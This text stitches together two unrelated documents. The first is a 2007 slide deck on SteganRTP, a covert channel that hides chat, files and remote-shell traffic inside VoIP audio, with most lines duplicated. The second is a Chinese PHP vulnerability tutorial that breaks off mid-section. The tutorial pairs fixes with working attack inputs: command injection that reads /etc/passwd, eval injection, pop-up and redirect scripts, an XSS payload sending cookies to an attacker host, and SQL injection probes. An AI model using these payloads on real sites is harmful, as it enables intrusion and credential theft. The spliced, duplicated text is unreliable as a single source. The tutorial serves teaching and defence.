Encoded Audio Data !
!
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Format
Message Format
Header:
Header:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
| Checksum / ID
Checksum / ID |
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
| Sequence
Sequence |
| Type
Type |
| Length
Length |
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Message Body:
Message Body:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
| Value (Type-Defined Body)
Value (Type-Defined Body) |
|
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Header Fields
Message Header Fields
ID (32 bits):
ID (32 bits):
hashword( keyhash, (Seq + Type + Len) )
hashword( keyhash, (Seq + Type + Len) )
Seq (16 bits):
Seq (16 bits):
Message Sequence Number
Message Sequence Number
Type (8 bits):
Type (8 bits):
Message Type
Message Type
Length (8 bits):
Length (8 bits):
Length of remaining message data
Length of remaining message data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Types
Message Types
0: Reserved
0: Reserved
1: Control
1: Control
10: Chat Data
10: Chat Data
11: File Data
11: File Data
12: Shell Input Data
12: Shell Input Data
13: Shell Output Data
13: Shell Output Data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Type: Control
Message Type: Control
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Control Type | Length | Value |
| Control Type | Length | Value |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
! !
! !
. .
. .
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Control Type | Length | Value |
| Control Type | Length | Value |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Types
Control Types
0: Reserved
0: Reserved
1: Echo Request
1: Echo Request
2: Echo Reply
2: Echo Reply
3: Resend
3: Resend
4: Start File
4: Start File
5: End File
5: End File
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Message: Echo Request
Control Message: Echo Request
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 1 | 2 | Seq | Payload |
| 1 | 2 | Seq | Payload |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Message: Echo Reply
Control Message: Echo Reply
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 2 | 2 | Seq | Payload |
| 2 | 2 | Seq | Payload |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Message: Resend
Control Message: Resend
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 3 | 2 | Requested Seq Number |
| 3 | 2 | Requested Seq Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Message: Start File
Control Message: Start File
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 4 | Len | File ID | |
| 4 | Len | File ID | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| Filename |
| Filename |
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Control Message: End File
Control Message: End File
Message:
Message:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 5 | 1 | File ID |
| 5 | 1 | File ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Type: Chat Data
Message Type: Chat Data
Message Body:
Message Body:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Chat Data |
| Chat Data |
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Type: File Data
Message Type: File Data
Message Body:
Message Body:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| File ID | File Data |
| File ID | File Data |
+-+-+-+-+-+-+-+-+-+ |
+-+-+-+-+-+-+-+-+-+ |
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Type: Shell Data
Message Type: Shell Data
Message Body:
Message Body:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Shell Data |
| Shell Data |
! !
! !
. .
. .
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Functional Subsystems
Functional Subsystems
The parts that make it go.
The parts that make it go.
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Encryption System
Encryption System
Light-weight, pseudo-encryption (XOR)
Light-weight, pseudo-encryption (XOR)
Could be replaced with real crypto if no impact on
Could be replaced with real crypto if no impact on
RTP stream latency
RTP stream latency
XOR pad is a SHA1 hash of a shared secret
XOR pad is a SHA1 hash of a shared secret
XOR operation is begun at an offset into the hash
XOR operation is begun at an offset into the hash
keyhash:
keyhash:
sha1(shared-secret)
sha1(shared-secret)
keyhash_offset
keyhash_offset
hashword( keyhash, RTP_Seq, RTP_TS ) % 20
hashword( keyhash, RTP_Seq, RTP_TS ) % 20
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Embedding System
Embedding System
Currently supports G.711
Currently supports G.711
Use common LSB embedding method
Use common LSB embedding method
Properties of the RTP packet determine a
Properties of the RTP packet determine a
total available size for embedding
total available size for embedding
Available:
Available:
RTPPayloadSize / (wordsize * 8)
RTPPayloadSize / (wordsize * 8)
PayloadSize:
PayloadSize:
Available - MessageHeaderLen
Available - MessageHeaderLen
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Extracting System
Extracting System
A reverse of the Embedding function
A reverse of the Embedding function
Then a pass through the crypto function
Then a pass through the crypto function
Verification of the ID field checksum
Verification of the ID field checksum
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Outbound Data Polling
Outbound Data Polling
System
System
Linked list of file descriptors that may have
Linked list of file descriptors that may have
data waiting to go out:
data waiting to go out:
RAW message interface
RAW message interface
Control message interface
Control message interface
Chat data
Chat data
Input for Remote Shell service
Input for Remote Shell service
Output from Local Shell service (if enabled)
Output from Local Shell service (if enabled)
Individual File transfer data
Individual File transfer data
...
...
Prioritized in the above order
Prioritized in the above order
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Caching System
Message Caching System
All inbound and outbound messages are
All inbound and outbound messages are
cached
cached
If the remote app requests a resend, it is
If the remote app requests a resend, it is
read from the cache and written to the
read from the cache and written to the
RAW message interface
RAW message interface
If the local app receives future messages,
If the local app receives future messages,
they are available in the cache once the
they are available in the cache once the
correct expected message is received
correct expected message is received
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Challenges Met
Challenges Met
How SteganRTP addresses the
How SteganRTP addresses the
Problems and Challenges
Problems and Challenges
identified earlier
identified earlier
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Unreliable Transport
Unreliable Transport
Request and identification of resent
Request and identification of resent
messages
messages
Re-ordering out of order messages
Re-ordering out of order messages
Identifies un-requested, replayed
Identifies un-requested, replayed
messages to provide replay protection
messages to provide replay protection
(bonus!)
(bonus!)
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Cover-Medium Size Limitations
Cover-Medium Size Limitations
Plenty of RTP packets being sent per
Plenty of RTP packets being sent per
second
second
User data can be spread over multiple
User data can be spread over multiple
messages and packets and then
messages and packets and then
reassembled
reassembled
An achieved throughput of 1000 bytes per
An achieved throughput of 1000 bytes per
second is functional for my purposes
second is functional for my purposes
(not adequate for transferring your
(not adequate for transferring your
massive pr0n collection)
massive pr0n collection)
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Latency
Latency
RTP packets can be “skipped” and sent
RTP packets can be “skipped” and sent
along unmodified
along unmodified
Fast pseudo-cryptography (XOR!) is used
Fast pseudo-cryptography (XOR!) is used
rather than full cryptography
rather than full cryptography
Crypto only needs to provide obfuscation
Crypto only needs to provide obfuscation
entropy prior to embedding the individual
entropy prior to embedding the individual
bits, not protect the data
bits, not protect the data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
RTP Streams
RTP Streams
libfindrtp for identification
libfindrtp for identification
libipq for tracking and hooking packets
libipq for tracking and hooking packets
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Audio Codec Switching
Audio Codec Switching
Embedding parameters are derived from
Embedding parameters are derived from
RTP packet properties
RTP packet properties
Each RTP packet is processed individually
Each RTP packet is processed individually
If an audio codec isn’t supported, the
If an audio codec isn’t supported, the
packet is passed unmodified
packet is passed unmodified
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Live Demo!
Live Demo!
Or, I)ruid likes to tempt fate...
Or, I)ruid likes to tempt fate...
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Demo Scenario
Demo Scenario
Endpoint A
SteganRTP A
RTP
SteganRTP B
RTP
RTP
RTP
Endpoint B
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Demo Virtualized Environment
Demo Virtualized Environment
`
Slackware Linux 11
Asterisk Server
`
Win XP Host OS
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Conclusions
Conclusions
Met all of my initial design goals
Met all of my initial design goals
Met most of the identified challenges
Met most of the identified challenges
Compressed audio
Compressed audio
Media Gateway interference
Media Gateway interference
VoIP deployments should use SRTP
VoIP deployments should use SRTP
Prevents the MITM scenario
Prevents the MITM scenario
Prevents the endpoint scenario in some cases
Prevents the endpoint scenario in some cases
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Future Work
Future Work
Improve G.711 codec’s embedding algorithm
Improve G.711 codec’s embedding algorithm
Silence/Voice detection
Silence/Voice detection
Create embedding algorithms for additional audio
Create embedding algorithms for additional audio
Codecs
Codecs
Create embedding algorithms for video Codecs
Create embedding algorithms for video Codecs
Use real crypto instead of XOR
Use real crypto instead of XOR
Support for fragmenting larger messages across
Support for fragmenting larger messages across
multiple RTP packets
multiple RTP packets
Expand Shell access functionality into a services
Expand Shell access functionality into a services
framework
framework
White paper detailing research and implementation
White paper detailing research and implementation
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Source Code
Source Code
SteganRTP
SteganRTP
http://sourceforge.net/projects/steganrtp/
http://sourceforge.net/projects/steganrtp/
libfindrtp
libfindrtp
http://sourceforge.net/projects/libfindrtp/
http://sourceforge.net/projects/libfindrtp/
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Q & A
Q & A
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
References
References
SteganRTP
SteganRTP
http://sourceforge.net/projects/steganrtp/
http://sourceforge.net/projects/steganrtp/
libfindrtp
libfindrtp
http://sourceforge.net/projects/libfindrtp/
http://sourceforge.net/projects/libfindrtp/
Steganography Tools List
Steganography Tools List
http://www.jjtc.com/mwiki/index.php?title=Main_Page
http://www.jjtc.com/mwiki/index.php?title=Main_Page
RTP Specification
RTP Specification
http://www.ietf.org/rfc/rfc1889.txt
http://www.ietf.org/rfc/rfc1889.txt
RTP Parameters (Type/Codec values list)
RTP Parameters (Type/Codec values list)
http://www.iana.org/assignments/rtp-parameters
http://www.iana.org/assignments/rtp-parameters | pdf |
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
PHP 漏洞全解 1-9
PHP 漏洞全解(一)-PHP 网页的安全性问题
针对 PHP 的网站主要存在下面几种攻击方式:
1、命令注入(Command Injection)
2、eval 注入(Eval Injection)
3、客户端脚本攻击(Script Insertion)
4、跨网站脚本攻击(Cross Site Scripting, XSS)
5、SQL 注入攻击(SQL injection)
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP 响应拆分攻击(HTTP Response Splitting)
10、文件上传漏洞(File Upload Attack)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL 攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP 请求欺骗攻击(Spoofed HTTP Requests)
几个重要的 php.ini 选项
Register Globals
PHP 漏洞全解(二)-命令注入攻击
命令注入攻击
PHP 中可以使用下列 5 个函数来执行外部的应用程序或函数
system、exec、passthru、shell_exec、“(与 shell_exec 功能相同)
函数原型
string system(string command, int &return_var)
command 要执行的命令
return_var 存放执行命令的执行后的状态值
string exec (string command, array &output, int &return_var)
command 要执行的命令
output 获得执行命令输出的每一行字符串
return_var 存放执行命令后的状态值
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
string shell_exec (string command)
command 要执行的命令
漏洞实例
例 1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
我们提交 http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后,命令变成了 system("ls -al | cat /etc/passwd");
eval 注入攻击
eval 函数将输入的字符串参数当作 PHP 程序代码来执行
函数原型:
mixed eval(string code_str) //eval 注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了
动态函数
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程序员原意是想动态调用 A和 B函数,那我们提交 http://www.sectop.com/ex.php?func=phpinfo 漏
洞产生
防范方法
1、尽量不要执行外部命令
2、使用自定义函数或函数库来替代外部命令的功能
3、使用 escapeshellarg 函数来处理命令参数
4、使用 safe_mode_exec_dir 指定可执行文件的路径
esacpeshellarg 函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替
换成“\"”,分号“;”替换成“\;”
用 safe_mode_exec_dir 指定可执行文件的路径,可以把会使用的命令提前放入此路径内
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
PHP 漏洞全解(三)-客户端脚本植入
客户端脚本植入
客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对
象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。
可以被用作脚本植入的 HTML 标签一般包括以下几种:
1、<script>标签标记的 javascript 和 vbscript 等页面脚本程序。在<script>标签内可以指定 js 程序
代码,也可以在 src 属性内指定 js 文件的 URL 路径
2、<object>标签标记的对象。这些对象是 java applet、多媒体文件和 ActiveX 控件等。通常在 data
属性内指定对象的 URL 路径
3、<embed>标签标记的对象。这些对象是多媒体文件,例如:swf 文件。通常在 src 属性内指定对象的
URL 路径
4、<applet>标签标记的对象。这些对象是 java applet,通常在 codebase 属性内指定对象的 URL 路
径
5、<form>标签标记的对象。通常在 action 属性内指定要处理表单数据的 web 应用程序的 URL 路径
客户端脚本植入的攻击步骤
1、攻击者注册普通用户后登陆网站
2、打开留言页面,插入攻击的 js 代码
3、其他用户登录网站(包括管理员),浏览此留言的内容
4、隐藏在留言内容中的 js 代码被执行,攻击成功
实例
数据库
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default ’0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’使用者的留言’
AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
提交下图的留言
浏览此留言的时候会执行 js 脚本
插入 <script>while(1){windows.open();}</script> 无限弹框
插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面
或者使用其他自行构造的 js 代码进行攻击
防范的方法
一般使用 htmlspecialchars 函数来将特殊字符转换成 HTML 编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style 可选,值可为 ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值 ENT_COMPAT,
表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,
表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成 html 编码:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
> —-> >
把 show.php 的第 98 行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然后再查看插入 js 的漏洞页面
PHP 漏洞全解(四)-xss 跨站脚本攻击
跨网站脚本攻击
XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表 css(Cascading Style Sheet)区别,
缩写为 XSS
跨站脚本主要被攻击者利用来读取网站用户的 cookies 或者其他个人数据,一旦攻击者得到这些数据,那
么他就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送 xss 的 http 链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的 xss 链接
3、网站执行了此 xss 攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
5、攻击者使用目标用户的信息登录网站,完成攻击
当有存在跨站漏洞的程序出现的时候,攻击者可以构造类
似 http://www.sectop.com/search.php?key=<script>document.location=’http://www.hack.
com/getcookie.php?cookie=’+document.cookie;</script> ,诱骗用户点击后,可以获取用户
cookies 值
防范方法:
利用 htmlspecialchars 函数将特殊字符转换成 HTML 编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style 可选,值可为 ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值
ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换。
ENT_NOQUOTES,表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成 html 编码:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]变量的跨站
在某个表单中,如果提交参数给自己,会用这样的语句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
……
</form>
$_SERVER["PHP_SELF"]变量的值为当前页面名称
例:
http://www.sectop.com/get.php
get.php 中上述的表单
那么我们提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那么表单变成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站脚本被插进去了
防御方法还是使用 htmlspecialchars 过滤输出的变量,或者提交给自身文件的表单使用
<form action="" method="post">
这样直接避免了$_SERVER["PHP_SELF"]变量被跨站
PHP 漏洞全解(五)-SQL 注入攻击
SQL 注入攻击
SQL 注入攻击(SQL Injection),是攻击者在表单中提交精心构造的 sql 语句,改动原来的 sql 语句,如
果 web 程序没有对提交的数据经过检查,那么就会造成 sql 注入攻击。
SQL 注入攻击的一般步骤:
1、攻击者访问有 SQL 注入漏洞的站点,寻找注入点
2、攻击者构造注入语句,注入语句和程序中的 SQL 语句结合生成新的 sql 语句
3、新的 sql 语句被提交到数据库中执行 处理
4、数据库执行了新的 SQL 语句,引发 SQL 注入攻击
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
实例
数据库
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default ’0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’运用者的留言’
AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to ‘sectop’@localhost identified by ’123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
页面 http://www.netsos.com.cn/show.php?id=71 可能存在注入点,我们来测试
http://www.netsos.com.cn/show.php?id=71 and 1=1
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
返回页面
提
交
一次查询到记录,一次没有,我们来看看源码
//show.php 12-15 行
// 执行 mysql 查询语句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("执行 ySQL 查询语句失败:" . mysql_error());
参数 id 传递进来后,和前面的字符串结合的 sql 语句放入数据库执行 查询
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
提交 and 1=1,语句变成 select * from postmessage where id = 71 and 1=1 这语句前值后
值都为真,and 以后也为真,返回查询到的数据
提交 and 1=2,语句变成 select * from postmessage where id = 71 and 1=2 这语句前值为
真,后值为假,and 以后为假,查询不到任何数据
正常的 SQL 查询,经过我们构造的语句之后,形成了 SQL 注入攻击。通过这个注入点,我们还可以
进一步拿到权限,比如说运用 union 读取管理密码,读取数据库信息,或者用 mysql 的 load_file,into
outfile 等函数进一步渗透。
防范方法
整型参数:
运用 intval 函数将数据转换成整数
函数原型
int intval(mixed var, int base)
var 是要转换成整形的变量
base,可选,是基础数,默认是 10
浮点型参数:
运用 floatval 或 doubleval 函数分别转换单精度和双精度浮点型参数
函数原型
int floatval(mixed var)
var 是要转换的变量
int doubleval(mixed var)
var 是要转换的变量
字符型参数:
运用 addslashes 函数来将单引号“’”转换成“\’”,双引号“"”转换成“\"”,反斜杠“\”转换成“\\”,NULL
字符加上反斜杠“\”
函数原型
string addslashes (string str)
str 是要检查的字符串
那么刚才出现的代码漏洞,我们可以这样修补
// 执行 mysql 查询语句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
or die("执行 ySQL 查询语句失败:" . mysql_error());
如果是字符型,先判断 magic_quotes_gpc 能无法 为 On,当不为 On 的时候运用 addslashes 转义
特殊字符
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次测试,漏洞已经修补
PHP 漏洞全解(六)-跨网站请求伪造
跨网站请求伪造攻击
CSRF(Cross Site Request Forgeries),意为跨网站请求伪造,也有写为 XSRF。攻击者伪造目标用户
的 HTTP 请求,然后此请求发送到有 CSRF 漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻
击者利用隐蔽的 HTTP 连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他
